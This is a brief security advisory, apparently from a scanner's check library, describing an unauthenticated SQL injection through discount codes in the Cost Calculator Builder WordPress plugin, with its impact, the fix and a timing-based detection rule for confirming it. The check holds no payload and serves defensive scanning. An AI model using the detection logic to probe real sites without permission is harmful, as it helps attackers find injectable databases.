Readycheck to confirm it

The Cost Calculator Builder plugin for WordPress is vulnerable to SQL Injection via discount codes in versions up to, and including, 3.2.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.

Fix

Update to version 3.2.16 or later.

How to confirm it

Send: GET /
Send: @timeout: 30s
Positive when: contains_any(body, "order_id", "success") and status_code == 200 and duration>=8
